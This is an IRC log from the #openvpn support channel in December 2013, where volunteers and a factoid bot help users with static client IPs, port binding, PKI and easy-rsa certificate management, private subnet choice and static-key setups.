10:23 -!- Cr4zi3 [killaz@staff.xbins.org] has joined #openvpn
10:24 -!- Kuba [~jakub@87.239.45.70] has quit [Ping timeout: 254 seconds]
10:24 -!- Kuba [~jakub@87-239-45-70.ip.gronet.pl] has joined #openvpn
10:24 -!- i7c_ [~i7c@80-69-77-233.colo.transip.net] has quit [Changing host]
10:24 -!- i7c_ [~i7c@unaffiliated/i7c] has joined #openvpn
10:24 -!- Kuba [~jakub@87-239-45-70.ip.gronet.pl] has quit [Changing host]
10:24 -!- Kuba [~jakub@unaffiliated/kuba] has joined #openvpn
10:24 -!- i7c_ is now known as i7c
10:26 -!- xBytez_ [xBytez@libxbytez.so] has joined #openvpn
10:27 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
10:27 -!- xBytez [xBytez@unaffiliated/xbytez] has quit [Ping timeout: 264 seconds]
10:27 -!- lachesis [~lachesis@unaffiliated/lachesis] has quit [Ping timeout: 264 seconds]
10:27 -!- NChief [~nchief@ircimg.net] has quit [Ping timeout: 264 seconds]
10:27 -!- NChief_ [~nchief@ircimg.net] has joined #openvpn
10:27 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has quit [Ping timeout: 264 seconds]
10:28 -!- kenyon [kenyon@darwin.kenyonralph.com] has quit [Ping timeout: 264 seconds]
10:29 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
10:29 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
10:29 -!- kenyon [kenyon@darwin.kenyonralph.com] has joined #openvpn
10:29 -!- mode/#openvpn [+o dazo_afk] by ChanServ
10:29 -!- dazo_afk is now known as dazo
10:30 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has joined #openvpn
10:30 -!- lachesis [~lachesis@unaffiliated/lachesis] has joined #openvpn
10:30 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
10:31 -!- rob0_ is now known as rob0
10:34 -!- SpeakerToMeat [~Lars@unaffiliated/lars-g/x-000001] has joined #openvpn
10:34 < SpeakerToMeat> Do I really have to set up routes for every fixed IP I want to give a client?
10:36 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has quit [Ping timeout: 240 seconds]
10:38 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has joined #openvpn
10:38 -!- Kuba [~jakub@unaffiliated/kuba] has quit [Ping timeout: 250 seconds]
10:38 -!- sailerboy [~sailerboy@sailerboy.net] has quit [Ping timeout: 250 seconds]
10:39 -!- sailerboy [~sailerboy@sailerboy.net] has joined #openvpn
10:40 -!- Kuba [~jakub@unaffiliated/kuba] has joined #openvpn
10:42 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Read error: Connection reset by peer]
10:45 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
10:51 -!- oc80z [~oc80z@blea.ch] has joined #openvpn
10:54 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:55 < pekster> SpeakerToMeat: As in a reserved IP on the VPN network for particular clients? Not at all; read !static
10:57 < SpeakerToMeat> !static
10:58 < SpeakerToMeat> Ah the bot's dead
10:58 < pekster> SpeakerToMeat: full list at: http://www.secure-computing.net/factoids.php
10:58 -!- JackWinter_ [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
10:59  * pekster pokes ecrist / krzee; vpnHelper is MIA
10:59 <@krzee> oh whoa
10:59 <@krzee> 1min
11:00 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
11:00 < SpeakerToMeat> Can I ask something totally unrelated but you might have an insight into? Does anybody have any inkling on why the h.... logmein/hamachi decided to use theorically public (it's public by rfc, but not shown publically by the owners) address space?
11:00 < SpeakerToMeat> It never made any sense to me
11:01 <@krzee> nope
11:01 -!- cjman_ [~cjman@184.75.221.178] has joined #openvpn
11:02 <@krzee> ahh vpnhelper must be stuck on a dead server or something
11:02 < SpeakerToMeat> Ah yes the netsplits.
11:02 < SpeakerToMeat> lots of netsplits today
11:02 < SpeakerToMeat> Make it hop
11:02 < cjman_> If I have a middlebox running a vpn on port 1194, should all traffic go thru 1194? I see traffic on other udp ports...
11:03 < pekster> SpeakerToMeat: It's a way to "avoid" RFC1918 conflicts. The smarter thing to do is use an obscure /24 in the middle of the 10/8 block as that makes the potential for a collision very small
11:03 < SpeakerToMeat> pekster: Ah.... kinda makes sense, and yes I like your solution more :D
11:03 < pekster> Yes, using address space allocated for other things is almost always a bad idea
11:04 < SpeakerToMeat> pekster: Being on what it's based it might not be obscure at all, but I love to use 10.42.42 /24 for my stuff :D
11:04 < pekster> Plus if you use f.ex 25/8 and someone spray packets upstream (bad firewall or something) you send them to the UK MoD, which is probably not what you wanted :P
11:04 < pekster> Yea, that's not really obscure, and chances are very good someone else also uses that. So long as your 2 routing domains never meet, it's fine
11:04 < SpeakerToMeat> Yeah, though the MoD supposedly has any exchange with the outside world blocked at that space
11:04 < pekster> `echo "10.$((RANDOM%256)).$((RANDOM%256)).0/24"` works nicely
11:05 < pekster> Point is that could theoretically be re-purposed (though in reality it'll never happen -- there's CGN now, and we're all supposed to be moving to IPv6 anyway)
11:06 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
11:06 -!- mode/#openvpn [+o vpnHelper] by ChanServ
11:06 < pekster> RFC1918 is what you should use. Clever folks might also consider abusing RFC6598, RFC5737, RFC2544, or maybe the 240/4 block (though Windows doesn't play nice with that)
11:06 <@krzee> !subnet
11:06 <@vpnHelper> "subnet" is http://www.subnet-calculator.com/ or http://en.wikipedia.org/wiki/Subnetwork
11:06 <@krzee> !factoids search subnet
11:06 <@vpnHelper> 'subnet', 'samesubnet', and 'randomsubnet'
11:07 <@krzee> !factoids
11:07 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
11:07 < pekster> !randomsubnet
11:07 <@vpnHelper> "randomsubnet" is (#1) http://scarydevilmonastery.net/subnet.cgi for a random !1918 subnet or (#2) If your shell has $RANDOM support, perhaps try this: `echo 10.$((RANDOM%256)).$((RANDOM%256)).0/24 `
11:07 < pekster> !learn subnet as Want a random subnet generator? See: !randomsubnet
11:07 <@vpnHelper> Joo got it.
11:07 < SpeakerToMeat> !static
11:07 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
11:07 < SpeakerToMeat> thanks
11:11 < cjman_> Why is there more than just port 1194 being used with a vpn client?
11:12 < SpeakerToMeat> cjman_: It's probable they're routing some traffic outside the vpn..?
11:13 < pekster> Without clarifying context it's hard to say at all. OpenVPN's encapsulating traffic (the tunneled data packets and the "control" packets to manage the tunnel) go over a single UDP (or TCP) socket
11:13 < pekster> Config options to specify the ports involved include --port, --lport, --rport, and --nobind
11:16 < cjman_> heres the config http://pastebin.com/sAdD0mPn I only see udp traffic with tcpdump,
11:17 < pekster> I still don't get what that has to do with "more than just port 1194"
11:17 < pekster> nobind on line 7 means the client's _source_ port will be dynamically selected by the OS (just like your web browser works)
11:19 < cjman_> so if i did use bind, then it would be bound to just 1194, i thought bind with for binding to an interface
11:20 < pekster> --bind is different. If you don't specify --nobind, then `--port 1194` is the runtime-default, which sets _both_ source and destination ports to 1194
11:21 < cjman_> whats the benignity  using --nobind?
11:22 < pekster> Not failing if that port happens to be in use
11:22 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services]
11:23 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
11:23 -!- mode/#openvpn [+o vpnHelper] by ChanServ
11:24 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services]
11:25 -!- Irssi: #openvpn: Total of 221 nicks [7 ops, 0 halfops, 2 voices, 212 normal]
11:25 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
11:25 -!- mode/#openvpn [+o vpnHelper] by ChanServ
11:25 <@ecrist> heh.  I didn't realize krzee had restarted the bot
11:26 <@krzee> :D
11:26 <@krzee> hey 2x is better than none!
11:28 -!- cjman_ [~cjman@184.75.221.178] has quit [Ping timeout: 252 seconds]
11:29 -!- Cubox` is now known as CUBOX
11:29 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
11:31 < dothak> !server
11:32 < dothak> !factoids server
11:32 < dothak> :(
11:32 <@krzee> dothak, whats your goal?
11:32 <@krzee> !ping
11:32 <@vpnHelper> pong
11:32 <@krzee> !factoids
11:32 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
11:32 < dothak> still the same, use vpnhelper to figure out why, after the server.crt was recreated, I can still connect with my creds
11:33 <@krzee> "I can still connect with my creds"  ehh?
11:33 < dothak> creds = client cert stuff
11:33 <@krzee> !pki
11:33 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the server cert was
11:33 <@vpnHelper> signed specially as a server (see !servercert) or (#3) See !certman for various PKI management frontends
11:33 < dothak> you can tell I'm using very technical jargon
11:33 <@krzee> #2
11:34 <@krzee> if they are using a ca.crt that the other side was signed by, and certs are currently valid, then it works.
11:35 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
11:36 < dothak> so when I do a build-ca-server, it's generating the ca.key that will be signing all the certs?
11:37 < rob0> dothak said something earlier about the CA certificate having been changed ...
11:37 <@krzee> i missed anything from earlier
11:37 < dothak> I did, when I cat the ca.crt, it's different for me than for another user
11:38 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
11:38 <@krzee> dothak, do you understand how pki works?
11:39 < dothak> krzee: not 100% no.
11:39 <@krzee> a CA is the main boss
11:39 <@krzee> everybody makes their own private keys
11:39 <@krzee> it goes with the public keys
11:40 <@krzee> then they send a csr to the CA
11:40 <@krzee> it takes the csr and signs it using his private key
11:40 <@krzee> then he sends you your crt and his public key
11:40 -!- cjman_ [~cjman@184.75.223.186] has joined #openvpn
11:41 <@krzee> your crt IS your csr, but signed by his ca.key
11:41 <@krzee> anyone with his ca.crt can see that your crt was signed by him
11:41 -!- Sembei [~Sembei@unaffiliated/sembei] has joined #openvpn
11:41 < dothak> and that's the 'issuer' correct?
11:41 <@krzee> and using his ca.crt you can see anyone else's crt was signed by him as well
11:42 -!- heraclitus [~heraclitu@85.17.31.98] has joined #openvpn
11:42 -!- heraclitus [~heraclitu@85.17.31.98] has quit [Changing host]
11:42 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
11:42 < dothak> so the server.crt & server.key are basically like clients to the ca?
11:42 <@krzee> the ca is the cornerstone of PKI
11:42 <@krzee> the only reason you ever need to 100% start over is if the ca.key is compromised
11:43 <@krzee> for example, my ca server is not even on the internet
11:43 <@krzee> and it stays secure using shotgun security
11:43 <@krzee> !shotgun
11:43 <@vpnHelper> "shotgun" is (#1) the most effective form of physical security or (#2) <hyper_ch> shotgun security? <EugeneKay> If you try to physically attack my network, I chase you with a shotgun.
11:44 < dothak> so all I'd have to do is run build-key-server and it'll regenerate a csr which is signed by the ca to give me a server.crt and server.key?
11:44 <@krzee> !easy-rsa
11:44 <@vpnHelper> "easy-rsa" is (#1) easy-rsa is a certificate generation utility. or (#2) Download here: https://github.com/OpenVPN/easy-rsa/downloads
11:44 <@krzee> there are guides
11:44 <@krzee> use the directions
11:44 < EugeneKay> BANG BANG
11:44 <@krzee> pekster, did you write some sort of walkthrough for 3.0?
11:45 < pekster> Let me add a link to the direction landing page too:
11:45 < dothak> I can read guides, I'm looking to see if my understanding of it is correct
11:45 < pekster> !learn easy-rsa as https://community.openvpn.net/openvpn/wiki/EasyRSA
11:45 <@vpnHelper> Joo got it.
11:45 < pekster> krzee: See above
11:45 <@krzee> :D mind reader
11:45 < pekster> v3 has a howto, and as of last night a beer-inspired 'insecure, don't do this' method
11:45 <@krzee> !beer
11:45 < pekster> The insecure, not recommended method: https://community.openvpn.net/openvpn/wiki/EasyRSA3-Insecure-PKI
11:45 <@vpnHelper> "beer" is what's for dinner (and occasionally breakfast)
11:45 <@vpnHelper> Title: EasyRSA3-Insecure-PKI – OpenVPN Community (at community.openvpn.net)
11:45 < EugeneKay> I try not to drink before noon, but I have a conference call with $CLIENT this morning.
11:45 < EugeneKay> Ugh.
11:46 <@krzee> it might not just be people being afraid of those tasks
11:48 <@krzee> sometimes you just dont NEED to generate seperate, for example i have a pki that is only used when i provision new phones. the phone is always physically in my hand and gets automatically configured (the script prompts for the key's password)
11:48 < pekster> True, but you "understand the security trade-offs involved" there ;)
11:49 <@krzee> hehe yep
11:51 -!- Sembei [~Sembei@unaffiliated/sembei] has quit [Ping timeout: 272 seconds]
11:52 < pekster> Updated the flow to be less beer-inspired ;)
11:54 <@krzee> just gave a peak at the docs
11:55 <@krzee> pekster++
11:55 < pekster> Yea, docs are intended to be more neutral (people use easy-rsa for more than just openvpn) and instead of "program howtos" in the release docs, the wiki feels better
11:55 <@krzee> dothak, a longer explanation of how pki works is here, i strongly suggest reading it https://github.com/OpenVPN/easy-rsa/blob/v3.0.0-rc1/doc/Intro-To-PKI.md
11:55 <@vpnHelper> Title: easy-rsa/doc/Intro-To-PKI.md at v3.0.0-rc1 · OpenVPN/easy-rsa · GitHub (at github.com)
11:58 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 245 seconds]
11:58 -!- grep0r [grep0r@bitcoinshell.mooo.com] has joined #openvpn
11:59 < dothak> I read that.  For my situation, it looks like both the ca and the server were messed with.  I had backed up the ca.key and it doesn't match what is currently there.
12:00 < pekster> Remember that re-running the CA generation process completely starts your PKI over
12:01 < pekster> v3 is a bit more clear about this with messages telling you exactly what you're about to do if you're wiping out an existing PKI (with easyrsa, that is. Nothing stops you from `rm -rf` of course)
12:01 < dothak> right, looks like I can just re-run build-key-server and it'll have the appropriate issuer information in there
12:01 < pekster> And you'll need to re-issue any clients on the "old" CA too
12:02 < dothak> pekster: right, I would say 'that goes without saying', but I didn't know any better until you guys explained it
12:02 < dothak> I appreciate the time taken to help me out :D
12:03 < rob0> pekster, where's your readme on CA security best practices again?
12:03 < pekster> !hardening
12:03 <@vpnHelper> "hardening" is https://community.openvpn.net/openvpn/wiki/Hardening
12:03 < pekster> Part of a generic "here's how to do openvpn secure" wiki
12:03 < rob0> thanks
12:05 < pekster> v3 tries hard not to nuke files without explicit confirmation (or --batch mode) http://fpaste.org/62274/21713413/raw/
12:06 < rob0> I was thinking about the one about what to put (or NOT put, rather) in openssl.cnf
12:07 < pekster> Oh, and that example is bad; CN did nothing useful :P
12:08 < pekster> Subject: CN=ChangeMe . Guess I should refer to my own Advanced document ;)
12:09 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
12:09 < pekster> rob0: What to not put?
12:10 < pekster> rob0: v2 -> v3 easyrsa re-factored the .cnf file a lot too. The extension handling is the same, minus no longer including deprecated "Netscape" things by default. That should be highlighted in the openvpn wiki page as it doens't mesh with the Joomla howto doc example file
12:10 < pekster> nsCertType needs to die like networking classes do
12:11 < pekster> Oh, _that_ document, now I know what you mean
12:12 < rob0> yeah, things like company name
12:12 < pekster> I never did anything useful with it beyond some minor changes to the first draft, but: http://pekster.sdf.org/drafts/x509-social-attack.html
12:12 <@vpnHelper> Title: x509-social-attack.html (at pekster.sdf.org)
12:13 < pekster> easy-RSAv3 fixes that too by not using all those fields by default
12:13 < pekster> You have to enable "org" mode to get the old behavior back
12:23 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit []
12:25 < wallbroken> with the new easy-rsa "ns-cert-type server" will avoid?
12:26 < pekster> wallbroken: By default, yes (the wiki howto needs updating on that, I agree.) Add it back if you want it by reading vars.example comments and copying that file to 'vars' to enable
12:35 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has quit [Ping timeout: 240 seconds]
12:35 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
12:41 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
13:03 -!- timxzl [~timxzl@206-221-156-203.ip.ctc.biz] has joined #openvpn
13:16 -!- PackardBell [~Cor@eternalproject.org] has quit [Quit: Business by Cor]
13:19 -!- PackardBell [~Cor@eternalproject.org] has joined #openvpn
13:24 -!- timxzl [~timxzl@206-221-156-203.ip.ctc.biz] has quit [Ping timeout: 264 seconds]
13:53 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 272 seconds]
13:54 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
14:02 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
14:07 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Remote host closed the connection]
14:07 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
14:34 -!- pablito [~chatzilla@194.90.149.21] has joined #openvpn
14:35 -!- pwrcycle [~pwrcycle@173.214.160.92] has quit [Changing host]
14:35 -!- pwrcycle [~pwrcycle@unaffiliated/pwrcycle] has joined #openvpn
14:36 < pablito> hi
14:36 < pablito> is it possible to have webbrowser access to the community version of the OpenVPN server?
14:40 -!- esde_ is now known as esde
14:40 -!- esde [~esde@162.218.209.203] has quit [Changing host]
14:40 -!- esde [~esde@unaffiliated/esde] has joined #openvpn
14:45 <@ecrist> no
14:45 <@ecrist> unless you write it
14:45 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
14:46 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
14:47 < pablito> are there other FOSS VPN solutions that would allow a webbrowser client interface?
15:00 <@krzee> not sure.
15:18 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
15:22 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
15:23 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Client Quit]
15:26 -!- dxtr [19b7d22c@unaffiliated/dxtr] has joined #openvpn
15:26 < dxtr> Hello
15:26 < dxtr> Can I not use client-to-client with a pre-shared secret?
15:27 -!- brian__ [~brian@pool-72-86-34-19.clppva.fios.verizon.net] has joined #openvpn
15:36 -!- pablito [~chatzilla@194.90.149.21] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 26.0/20131205075310]]
15:37 < Haigha> hi, what could cause an Android tablet running de.blinkt.openvpn to not allow any traffic ?
15:37 < Haigha> it seems to connect fine
15:38 < Haigha> i have a screenshot of the log and it setup routes, get an IP address and even change DNS settings
15:39 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
15:48 -!- Sembei [~Sembei@unaffiliated/sembei] has joined #openvpn
15:48 -!- Sembei [~Sembei@unaffiliated/sembei] has quit [Client Quit]
15:49 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
15:50 -!- cjman_ [~cjman@184.75.223.186] has quit [Ping timeout: 240 seconds]
15:52 -!- cjman_ [~cjman@184.75.213.50] has joined #openvpn
15:55 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
15:55 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Client Quit]
16:05 < rob0> dxtr, when using --secret there IS no "client" and no "server", just two peers.
16:23 < dxtr> right
16:23 < dxtr> So there is no equivalent in client-server-mode?
16:24 < rob0> hmm?
16:24 < rob0> Client-server uses TLS authentication and encryption, no, there's no shared-secret mode for that.
17:00 -!- steven776 [~martin@84.160.190.90.dyn.estpak.ee] has quit [Ping timeout: 246 seconds]
17:26 -!- rob0 is now known as rob0_
17:28 -!- steven776 [~martin@84.160.190.90.dyn.estpak.ee] has joined #openvpn
17:33 -!- rob0_ is now known as rob0
17:38 -!- Tera_ is now known as Tera
17:38 -!- Tera [~tera@ip133-114.seclan.com] has quit [Changing host]
17:38 -!- Tera [~tera@unaffiliated/tera] has joined #openvpn
17:46 -!- cjman_ [~cjman@184.75.213.50] has quit [Ping timeout: 250 seconds]
17:49 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 252 seconds]
18:01 -!- frenchface [~cjman@162.219.176.218] has joined #openvpn
18:02 -!- Kuba [~jakub@unaffiliated/kuba] has quit [Read error: Connection reset by peer]
18:03 -!- Kuba [~jakub@unaffiliated/kuba] has joined #openvpn
18:51 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
18:52 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
18:56 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
19:16 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
19:47 -!- gardar_ [~gardar@gardar.net] has quit [Read error: Connection reset by peer]
19:47 -!- gardar [~gardar@gardar.net] has joined #openvpn
19:56 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
20:00 -!- szr [~s_r@unaffiliated/szr] has joined #openvpn
20:30 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 252 seconds]
20:32 -!- Poster [~poster@cpe-184-57-112-154.columbus.res.rr.com] has quit [Ping timeout: 265 seconds]
20:50 -!- keithzg [~quassel@184.70.164.246] has quit [Remote host closed the connection]
20:58 -!- timxzl [~timxzl@mobile-130-126-255-155.near.illinois.edu] has joined #openvpn
21:00 -!- frenchface [~cjman@162.219.176.218] has quit [Ping timeout: 252 seconds]
21:18 -!- Nikon_m [~nikonm@d24-235-162-103.home1.cgocable.net] has joined #openvpn
21:37 -!- Mike-- [mad@mx.probie.nl] has quit [Read error: Connection reset by peer]
21:37 -!- Mike-- [mad@mx.probie.nl] has joined #openvpn
22:09 -!- grep0r [grep0r@bitcoinshell.mooo.com] has quit [Ping timeout: 252 seconds]
22:14 -!- halcyon__ [~heraclitu@85.17.31.98] has joined #openvpn
22:15 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Ping timeout: 246 seconds]
22:17 -!- grep0r [grep0r@bitcoinshell.mooo.com] has joined #openvpn
22:23 -!- Nikon_m [~nikonm@d24-235-162-103.home1.cgocable.net] has quit [Quit: Nikon_m]
22:33 -!- xrosnight_ [~quassel@120.236.123.133] has joined #openvpn
22:33 -!- xrosnight_ [~quassel@120.236.123.133] has quit [Changing host]
22:33 -!- xrosnight_ [~quassel@unaffiliated/xrosnight] has joined #openvpn
22:37 -!- xrosnight_ [~quassel@unaffiliated/xrosnight] has quit [Read error: Connection reset by peer]
22:39 -!- xrosnight_ [~quassel@120.236.123.133] has joined #openvpn
22:53 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 265 seconds]
23:33 -!- Cygor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
23:33 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 264 seconds]
23:54 -!- xrosnight_ [~quassel@120.236.123.133] has quit [Changing host]
23:54 -!- xrosnight_ [~quassel@unaffiliated/xrosnight] has joined #openvpn
23:55 -!- timxzl [~timxzl@mobile-130-126-255-155.near.illinois.edu] has quit [Quit: timxzl]
--- Day changed Tue Dec 17 2013
00:10 -!- xrosnight_ [~quassel@unaffiliated/xrosnight] has quit [Remote host closed the connection]
00:19 -!- halcyon__ [~heraclitu@85.17.31.98] has quit [Ping timeout: 248 seconds]
00:20 -!- xrosnight_ [~quassel@120.236.123.133] has joined #openvpn
00:21 -!- xrosnight_ [~quassel@120.236.123.133] has quit [Changing host]
00:21 -!- xrosnight_ [~quassel@unaffiliated/xrosnight] has joined #openvpn
00:24 -!- heraclitus [~heraclitu@85.17.31.98] has joined #openvpn
00:25 -!- heraclitus [~heraclitu@85.17.31.98] has quit [Changing host]
00:25 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
00:33 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
01:17 -!- [1]JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Ping timeout: 245 seconds]
01:32 -!- Romance is now known as Romancer
02:16 -!- Carbon_Monoxide [~cmonxide@14.0.143.177] has joined #openvpn
02:17 -!- Carbon_Monoxide [~cmonxide@14.0.143.177] has left #openvpn []
02:25 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
02:51 -!- McJoppy [~McJoppy@122-59-246-230.jetstream.xtra.co.nz] has joined #openvpn
02:51 < McJoppy> hello :)
02:53 < McJoppy> I've got a couple of vlans configured on a Debian gateway machine - eth0 and eth0.3
02:54 < McJoppy> Any IP tables gurus in here - I'm trying to get clients coming in eth0.3 to connect to OpenVPN on eth0
02:58 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
03:01 <@krzee> !easy-rsa
03:01 <@vpnHelper> "easy-rsa" is (#1) easy-rsa is a certificate generation utility. or (#2) Download here: https://github.com/OpenVPN/easy-rsa/downloads or (#3) https://community.openvpn.net/openvpn/wiki/EasyRSA
03:03 -!- McJoppy [~McJoppy@122-59-246-230.jetstream.xtra.co.nz] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- Chicks dig it]
03:04 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
03:27 -!- rajkosto [~Rajko@evs.port0.org] has joined #openvpn
03:27 < rajkosto> when you do mssfix
03:27 < rajkosto> do you need to do it on both client and server ?
03:27 < rajkosto> what's the server one do and what's the client one do
03:27 < rajkosto> is it better to let iptables do mss clamping ?
03:27 -!- Devastator_ [~devas@186.214.111.92] has joined #openvpn
03:29 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 265 seconds]
03:33 -!- rajkosto [~Rajko@evs.port0.org] has quit [Quit: Leaving]
03:48 <@plaisthos> Haigha: if your vpn server does not let any traffic through sure
04:06 -!- xrosnight_ [~quassel@unaffiliated/xrosnight] has quit [Ping timeout: 252 seconds]
04:13 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Ping timeout: 260 seconds]
04:15 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
04:22 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
04:23 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
04:30 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Ping timeout: 246 seconds]
04:33 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 264 seconds]
04:36 < ketas> i wonder if it would be good to integrade weird types of transport (like dns requests or icmp) into openvpn?
04:36 < ketas> s/de/te/
04:37 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
04:38 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
05:18 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
05:19 -!- map is now known as Guest327
05:20 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 246 seconds]
05:24 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
05:26 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
05:34 -!- Six6siX [~Devil@jasmine.sammybakar.com] has quit [Ping timeout: 260 seconds]
05:35 -!- Six6siX [~Devil@jasmine.sammybakar.com] has joined #openvpn
05:49 -!- calcifea_ [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
05:50 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
05:53 -!- szr [~s_r@unaffiliated/szr] has quit [Read error: Connection reset by peer]
05:53 -!- szr [~s_r@unaffiliated/szr] has joined #openvpn
06:02 -!- Rhaoul [~Rhaoul@37-1-165-86.ip.skylogicnet.com] has joined #openvpn
06:03 < Rhaoul> hey :) I'm trying to setup an openvpn server. It's working nicely, but i want to switch to basic "secret" key (in server config) and now starting openvpn server fails.
06:04 < Rhaoul> I disabled the "ca", "cert", "key" and "dh" lines and add another "secret" line with my static key.
06:16 < rob0> there are two good howtos: the 1.x howto and the "static key mini-howto". Find both somewhere at the "community" site on openvpn.net.
06:18 < rob0> You know you are losing forward security by making this change? That means if your --secret is compromised or cracked, all traffic (which might have been cached by an attacker) could be decrypted.
06:18 < rob0> (This may or may not be a concern for you, just be aware.)
06:23 < Rhaoul> rob0, thanks, i deleted the example.config and replaced it with 5 lines and now it's starting :)
06:24 < Rhaoul> rob0, and i don't really need encryption, I just want to surf under a different IP adress ;)
06:31 -!- Rhaoul [~Rhaoul@37-1-165-86.ip.skylogicnet.com] has quit [Quit: Verlassend]
06:47 -!- szr [~s_r@unaffiliated/szr] has quit [Ping timeout: 250 seconds]
06:48 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
06:50 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Quit: calcifea]
06:51 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
07:05 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
